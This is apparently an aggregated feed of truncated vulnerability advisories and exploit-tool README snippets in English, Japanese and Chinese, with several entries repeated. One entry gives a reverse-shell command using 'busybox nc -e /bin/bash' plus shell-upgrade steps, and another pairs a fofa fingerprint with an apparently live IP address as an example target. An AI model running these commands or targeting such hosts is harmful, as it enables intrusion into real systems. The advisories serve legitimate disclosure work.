CVE-2026-19202

The mcp-toolbox-sdk-python SDK contains a caching flaw within its toolbox-core package. The module-level token cache fails to uniquely key Google ID tokens by the requested audience. If an application authenticates to multiple audiences (e.g., Service A and Service B) within the same process, a v...

CVE-2026-19202 Token Cache Reuse in mcp-toolbox-sdk-python

A caching flaw in the toolbox-core package of the mcp-toolbox-sdk-python SDK causes the same Google ID token to be cached and reused across different audiences. If an application uses the SDK to authenticate to two or more different audiences within the same process, the module-level token cache...

CVE-2026-19202 Token Cache Reuse in mcp-toolbox-sdk-python

A caching flaw in the toolbox-core package of the mcp-toolbox-sdk-python SDK causes the same Google ID token to be cached and reused across different audiences. If an application uses the SDK to authenticate to two or more different audiences within the same process, the module-level token cache...

DigiPwn

DigiPwn Digispark KickStarter ATtiny85 USB 開発ボード。ATtiny85 ベースのミニ開発ボードは Arduino に似ていますが、より安価で小型です（もちろん少し性能は劣ります）。多数のシールドで機能を拡張でき、おなじみの Arduino IDE を使用できるため、このボードはマイクロコントローラエレクトロニクスへの入門に最適です。 必要条件 Python 2.7 Arduino Arduino で DigiSpark ボードを設定してください。方法はこちら。 モジュール impacket が必要です。 インストール まずリポジトリをクローンし...

CVE-2025-5840

CVE-2025-5840 CVE-2025-5840 のエクスプロイト（Python 製）by hax / haxerr9 使い方: システムに Python3 がインストールされていることを確認してください。 "python3 CVE-2025-5840.py URL -c COMMAND" を実行してください。 スクリプトを実行する前にパラメータを指定するのを忘れないでください。 使用例: 未テスト このエクスプロイトはラボ環境ではテストされていません。動作しない場合（システム/サーバーが脆弱であると確信しているにもかかわらずエクスプロイトが動作しない場合）は、Issue...

CVE-2023-3450

CVE-2023-3450 fofa：iconhash="-399311436" 事例：http://123.54.231.201:6060 Usage: python3 CVE-2023-3450.py -h, --help python3 CVE-2023-3450.py -u URL, --url URL python3 CVE-2023-3450.py -f FILE, --file FILE...

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Summary Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096...

GHSA-HXP9-W8X3-P566 Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Summary Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096...

EUVD-2026-83415

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation...

mcp-atlassian has an incomplete SSRF remediation

Summary The UserTokenMiddleware extracts URLs from X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url HTTP headers and passes them directly to API client constructors without any SSRF validation. Affected Package - Ecosystem: PyPI - Package: mcp-atlassian - Affected versions: all versions before...

CVE-2025-32429-Checker

CVE-2025-32429 脆弱性チェッカー XWikiプラットフォームにおけるCVE-2025-32429 SQLインジェクション脆弱性を検出するためのPythonベースの脆弱性スキャナーです。 機能 単一ターゲットスキャン : -tオプションで個別ターゲットをチェック バルクスキャン : -lオプションでファイルから複数ターゲットをスキャン WAF検出 : Webアプリケーションファイアウォールを自動検出 時間ベース検出 : 時間ベースのSQLインジェクション脆弱性を特定 エラーベース検出 : レスポンス内のSQLエラーメッセージを検出 マルチスレッド :...

DEBIAN-CVE-2026-59991

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

CVE-2026-59991

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

CVE-2026-59991

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

PoC-for-Next.js-Middleware

PoC for Next.js Middleware Bypass CVE-2025-29927 这是一个针对虚构的 Next.js 中间件绕过漏洞 CVE-2025-29927 的概念验证 。仅 用于教育和授权的安全研究。 🚀 功能特性 功能| 描述 ---|--- ✨ 颜色与详细输出| 彩色输出；使用 -v 显示详细调试日志。 📦 面向对象结构| 基于类的设计，清晰且易于维护。 🌐 代理支持| 通过 --proxy 路由 HTTPS 代理流量。 🍪 会话处理| 使用持久化的 requests.Session 处理 Cookie 和连接复用。 🚦 重定向控制|...

violent-python3

Python 3「Violent Python」ソースコード TJ O'Connor 著の書籍「Violent Python」のソースコードです。コードは完全に Python 3 に変換され、PEP8 標準に準拠するようにフォーマットされ、非推奨ライブラリの実装に伴う依存関係の問題を解消するためにリファクタリングされています。 これと同様の変換を、Justin Seitz 著の書籍「Black Hat Python」のソースコードについても私自身が行っています。まだご覧になっていない方は、こちらをご確認ください。 使用方法 プロジェクト用の新しいディレクトリ DIR...

CVE-2025-24893

CVE-2025-24893 用リバースシェル root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" シェルのアップグレード 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2022-22947

CVE-2022-22947 使い方: root@kitploit: python3 CVE-2022-22947.py url...

CVE-2024-29269

Telesquare TLR-2005KSHRCE CVE-2024-29269 バッチスキャン/エクスプロイト 1.このツールはセキュリティテストのみに使用されており、違法な攻撃については責任を負いません. 2.このツールはセキュリティテストのみに使用され、違法な攻撃については一切責任を負いません. 3.このツールはセキュリティテストのみに使用され、違法な攻撃については一切責任を負いません. ヘルプ root@kitploit: / /\ //\ | \ / \ | || | | \ / \ \ / / / \ / / \ \ / /\ | | | | || | | | | ' ...

CVE-2026-95831

Crypt::SelfCertificate versions from 1.01 through 1.05 for Perl contains malware which executes Python code from an obfuscated URL. The generatecertificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated wi...